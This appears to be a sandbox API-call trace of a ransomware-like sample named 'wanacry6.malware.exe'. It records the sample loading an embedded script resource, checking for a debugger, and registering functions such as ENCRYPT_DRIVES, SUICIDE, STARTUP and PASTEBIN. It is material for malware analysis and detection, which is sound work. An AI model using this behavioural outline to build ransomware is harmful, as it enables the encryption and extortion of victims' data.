[0050.020] ISequentialStream:RemoteRead (in: This=0xd72f1f69f0, pv=0xd72f04f710, cb=0x10, pcbRead=0xd72f04f6e0 | out: pv=0xd72f04f710*=0x4d, pcbRead=0xd72f04f6e0*=0x10) returned 0x0 [0050.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd72f04f5a0 | out: lpSystemTimeAsFileTime=0xd72f04f5a0*(dwLowDateTime=0x5191af50, dwHighDateTime=0x1d31057)) [0050.020] IStream:RemoteSeek (in: This=0xd72f1f69f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xd72f04f778 | out: plibNewPosition=0xd72f04f778) returned 0x0 [0050.020] IStream:RemoteSeek (in: This=0xd72f1f69f0, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0xd72f04f050 | out: plibNewPosition=0xd72f04f050) returned 0x0 [0050.020] ISequentialStream:RemoteRead (in: This=0xd72f1f69f0, pv=0xd72f04ee00, cb=0x4, pcbRead=0xd72f04edd0 | out: pv=0xd72f04ee00*=0x6b, pcbRead=0xd72f04edd0*=0x4) returned 0x0 [0050.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd72f04ec90 | out: lpSystemTimeAsFileTime=0xd72f04ec90*(dwLowDateTime=0x5191af50, dwHighDateTime=0x1d31057)) [0050.021] ISequentialStream:RemoteRead (in: This=0xd72f1f69f0, pv=0xd72f04f068, cb=0x4, pcbRead=0xd72f04edd0 | out: pv=0xd72f04f068*=0xa6, pcbRead=0xd72f04edd0*=0x4) returned 0x0 [0050.021] ISequentialStream:RemoteRead (in: This=0xd72f1f69f0, pv=0xd72f04ee10, cb=0x34, pcbRead=0xd72f04edd0 | out: pv=0xd72f04ee10*=0xe1, pcbRead=0xd72f04edd0*=0x34) returned 0x0 [0050.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd72f04ec90 | out: lpSystemTimeAsFileTime=0xd72f04ec90*(dwLowDateTime=0x5191af50, dwHighDateTime=0x1d31057)) [0050.021] ISequentialStream:RemoteRead (in: This=0xd72f1f69f0, pv=0xd72f04f068, cb=0x4, pcbRead=0xd72f04edd0 | out: pv=0xd72f04f068*=0x43, pcbRead=0xd72f04edd0*=0x4) returned 0x0 [0050.021] ISequentialStream:RemoteRead (in: This=0xd72f1f69f0, pv=0xd72f04f520, cb=0xc6, pcbRead=0xd72f04edd0 | out: pv=0xd72f04f520*=0xcd, pcbRead=0xd72f04edd0*=0xc6) returned 0x0 [0050.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd72f04ec90 | out: lpSystemTimeAsFileTime=0xd72f04ec90*(dwLowDateTime=0x5191af50, dwHighDateTime=0x1d31057)) [0050.021] ISequentialStream:RemoteRead (in: This=0xd72f1f69f0, pv=0xd72f04f760, cb=0x1, pcbRead=0xd72f04f050 | out: pv=0xd72f04f760*=0x0, pcbRead=0xd72f04f050*=0x1) returned 0x0 [0050.021] ISequentialStream:RemoteRead (in: This=0xd72f1f69f0, pv=0xd72f04f080, cb=0x4, pcbRead=0xd72f04f050 | out: pv=0xd72f04f080*=0xbc, pcbRead=0xd72f04f050*=0x4) returned 0x0 [0050.021] ISequentialStream:RemoteRead (in: This=0xd72f1f69f0, pv=0xd72f04f080, cb=0x4, pcbRead=0xd72f04f050 | out: pv=0xd72f04f080*=0xbc, pcbRead=0xd72f04f050*=0x4) returned 0x0 [0050.021] ISequentialStream:RemoteRead (in: This=0xd72f1f69f0, pv=0xd72f04f080, cb=0x4, pcbRead=0xd72f04f050 | out: pv=0xd72f04f080*=0x84, pcbRead=0xd72f04f050*=0x4) returned 0x0 [0050.021] IStream:RemoteSeek (in: This=0xd72f1f69f0, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0xd72f04f050 | out: plibNewPosition=0xd72f04f050) returned 0x0 [0050.021] ISequentialStream:RemoteRead (in: This=0xd72f1f69f0, pv=0xd72f200350, cb=0x0, pcbRead=0xd72f04f050 | out: pv=0xd72f200350*=0x0, pcbRead=0xd72f04f050*=0x0) returned 0x0 [0050.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd72f04ef10 | out: lpSystemTimeAsFileTime=0xd72f04ef10*(dwLowDateTime=0x5191af50, dwHighDateTime=0x1d31057)) [0050.021] CloseHandle (hObject=0x14c) returned 1 [0050.021] IUnknown:Release (This=0xd72f1f69f0) returned 0x0 [0050.021] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0050.022] IsDebuggerPresent () returned 0 [0050.022] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xd72f02f7a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0050.022] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpszLongPath=0xd72f02f7a0, cchBuffer=0x7fff | out: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe") returned 0x31 [0050.023] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0xd72f02f750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0x0) returned 0x31 [0050.023] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0050.023] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7ffe2a71dbbc [0050.023] Wow64DisableWow64FsRedirection (in: OldValue=0xd72f03f6d0 | out: OldValue=0xd72f03f6d0*=0x0) returned 0 [0050.023] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0050.023] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xd72f03f4a0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0050.023] GetFileType (hFile=0x14c) returned 0x1 [0050.023] LoadLibraryExW (lpLibFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0050.024] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0050.024] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0050.024] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0050.024] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0050.024] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xd72f03f750 | out: ppstm=0xd72f03f750*=0xd72f1f6b70) returned 0x0 [0050.024] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0050.024] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0050.024] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0050.024] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0050.024] ISequentialStream:RemoteWrite (in: This=0xd72f1f6b70, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0050.024] IStream:RemoteSeek (in: This=0xd72f1f6b70, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0050.024] IStream:RemoteSeek (in: This=0xd72f1f6b70, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xd72f03f668 | out: plibNewPosition=0xd72f03f668) returned 0x0 [0050.024] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f200ce0, cb=0x18, pcbRead=0xd72f03f5b0 | out: pv=0xd72f200ce0*=0xa3, pcbRead=0xd72f03f5b0*=0x18) returned 0x0 [0050.024] IStream:RemoteSeek (in: This=0xd72f1f6b70, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0xd72f03f5b0 | out: plibNewPosition=0xd72f03f5b0) returned 0x0 [0050.025] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03f650, cb=0x4, pcbRead=0xd72f03f5b0 | out: pv=0xd72f03f650*=0x45, pcbRead=0xd72f03f5b0*=0x4) returned 0x0 [0050.025] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03f680, cb=0x10, pcbRead=0xd72f03f650 | out: pv=0xd72f03f680*=0x4d, pcbRead=0xd72f03f650*=0x10) returned 0x0 [0050.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd72f03f510 | out: lpSystemTimeAsFileTime=0xd72f03f510*(dwLowDateTime=0x5191af50, dwHighDateTime=0x1d31057)) [0050.025] IStream:RemoteSeek (in: This=0xd72f1f6b70, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xd72f03f6e8 | out: plibNewPosition=0xd72f03f6e8) returned 0x0 [0050.025] IStream:RemoteSeek (in: This=0xd72f1f6b70, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0xd72f03efc0 | out: plibNewPosition=0xd72f03efc0) returned 0x0 [0050.025] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03ed70, cb=0x4, pcbRead=0xd72f03ed40 | out: pv=0xd72f03ed70*=0x6b, pcbRead=0xd72f03ed40*=0x4) returned 0x0 [0050.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd72f03ec00 | out: lpSystemTimeAsFileTime=0xd72f03ec00*(dwLowDateTime=0x5191af50, dwHighDateTime=0x1d31057)) [0050.025] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03efd8, cb=0x4, pcbRead=0xd72f03ed40 | out: pv=0xd72f03efd8*=0xa6, pcbRead=0xd72f03ed40*=0x4) returned 0x0 [0050.025] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03ed80, cb=0x34, pcbRead=0xd72f03ed40 | out: pv=0xd72f03ed80*=0xe1, pcbRead=0xd72f03ed40*=0x34) returned 0x0 [0050.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd72f03ec00 | out: lpSystemTimeAsFileTime=0xd72f03ec00*(dwLowDateTime=0x5191af50, dwHighDateTime=0x1d31057)) [0050.025] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03efd8, cb=0x4, pcbRead=0xd72f03ed40 | out: pv=0xd72f03efd8*=0x43, pcbRead=0xd72f03ed40*=0x4) returned 0x0 [0050.025] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03f490, cb=0xc6, pcbRead=0xd72f03ed40 | out: pv=0xd72f03f490*=0xcd, pcbRead=0xd72f03ed40*=0xc6) returned 0x0 [0050.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd72f03ec00 | out: lpSystemTimeAsFileTime=0xd72f03ec00*(dwLowDateTime=0x5191af50, dwHighDateTime=0x1d31057)) [0050.025] IStream:RemoteSeek (in: This=0xd72f1f6b70, dlibMove=0x1, dwOrigin=0x1, plibNewPosition=0xd72f03ed40 | out: plibNewPosition=0xd72f03ed40) returned 0x0 [0050.025] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03ed78, cb=0x4, pcbRead=0xd72f03ed40 | out: pv=0xd72f03ed78*=0xbc, pcbRead=0xd72f03ed40*=0x4) returned 0x0 [0050.025] IStream:RemoteSeek (in: This=0xd72f1f6b70, dlibMove=0x18, dwOrigin=0x1, plibNewPosition=0xd72f03ed40 | out: plibNewPosition=0xd72f03ed40) returned 0x0 [0050.025] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03ed70, cb=0x4, pcbRead=0xd72f03ed40 | out: pv=0xd72f03ed70*=0x6b, pcbRead=0xd72f03ed40*=0x4) returned 0x0 [0050.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd72f03ec00 | out: lpSystemTimeAsFileTime=0xd72f03ec00*(dwLowDateTime=0x5191af50, dwHighDateTime=0x1d31057)) [0050.025] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03efd8, cb=0x4, pcbRead=0xd72f03ed40 | out: pv=0xd72f03efd8*=0xaf, pcbRead=0xd72f03ed40*=0x4) returned 0x0 [0050.025] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03ed80, cb=0x26, pcbRead=0xd72f03ed40 | out: pv=0xd72f03ed80*=0xe6, pcbRead=0xd72f03ed40*=0x26) returned 0x0 [0050.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd72f03ec00 | out: lpSystemTimeAsFileTime=0xd72f03ec00*(dwLowDateTime=0x5191af50, dwHighDateTime=0x1d31057)) [0050.026] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03efd8, cb=0x4, pcbRead=0xd72f03ed40 | out: pv=0xd72f03efd8*=0x47, pcbRead=0xd72f03ed40*=0x4) returned 0x0 [0050.026] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03f490, cb=0xce, pcbRead=0xd72f03ed40 | out: pv=0xd72f03f490*=0xbf, pcbRead=0xd72f03ed40*=0xce) returned 0x0 [0050.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd72f03ec00 | out: lpSystemTimeAsFileTime=0xd72f03ec00*(dwLowDateTime=0x5191af50, dwHighDateTime=0x1d31057)) [0050.026] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03f6d0, cb=0x1, pcbRead=0xd72f03efc0 | out: pv=0xd72f03f6d0*=0x1, pcbRead=0xd72f03efc0*=0x1) returned 0x0 [0050.026] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03eff0, cb=0x4, pcbRead=0xd72f03efc0 | out: pv=0xd72f03eff0*=0x28, pcbRead=0xd72f03efc0*=0x4) returned 0x0 [0050.026] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03eff0, cb=0x4, pcbRead=0xd72f03efc0 | out: pv=0xd72f03eff0*=0x23, pcbRead=0xd72f03efc0*=0x4) returned 0x0 [0050.026] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f03eff0, cb=0x4, pcbRead=0xd72f03efc0 | out: pv=0xd72f03eff0*=0xf4, pcbRead=0xd72f03efc0*=0x4) returned 0x0 [0050.026] IStream:RemoteSeek (in: This=0xd72f1f6b70, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0xd72f03efc0 | out: plibNewPosition=0xd72f03efc0) returned 0x0 [0050.026] ISequentialStream:RemoteRead (in: This=0xd72f1f6b70, pv=0xd72f200ce0, cb=0x9394, pcbRead=0xd72f03efc0 | out: pv=0xd72f200ce0*=0x6d, pcbRead=0xd72f03efc0*=0x9394) returned 0x0 [0050.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd72f03ee80 | out: lpSystemTimeAsFileTime=0xd72f03ee80*(dwLowDateTime=0x5191af50, dwHighDateTime=0x1d31057)) [0050.056] IUnknown:Release (This=0xd72f1f6b70) returned 0x0 [0050.057] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0050.057] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0050.057] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0050.057] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0050.057] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0050.057] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0050.057] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0050.057] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0050.057] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0050.057] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0050.057] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0050.058] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0050.058] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0050.058] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0050.058] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0050.058] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0050.058] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0050.058] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0050.058] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0050.058] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0050.058] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0050.058] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0050.058] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0050.058] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0050.058] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0050.058] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0050.058] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0050.058] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0050.058] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0050.058] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0050.058] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0050.058] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0050.058] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0050.058] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0050.058] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0050.058] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0050.058] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0050.058] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0050.059] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0050.059] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0050.059] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0050.059] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0050.059] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0050.059] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0050.059] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0050.059] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0050.059] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0050.059] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0050.059] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0050.059] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0050.060] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0050.060] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0050.060] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0050.060] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0050.060] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0050.060] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0050.060] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0050.060] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0050.060] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0050.060] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0050.060] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0050.060] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0050.060] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0050.060] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0050.060] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0050.060] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0050.060] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0050.060] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.060] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.060] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0050.060] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0050.060] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0050.060] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0050.060] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0050.060] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0050.060] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0050.060] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0050.061] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0050.061] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0050.061] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") 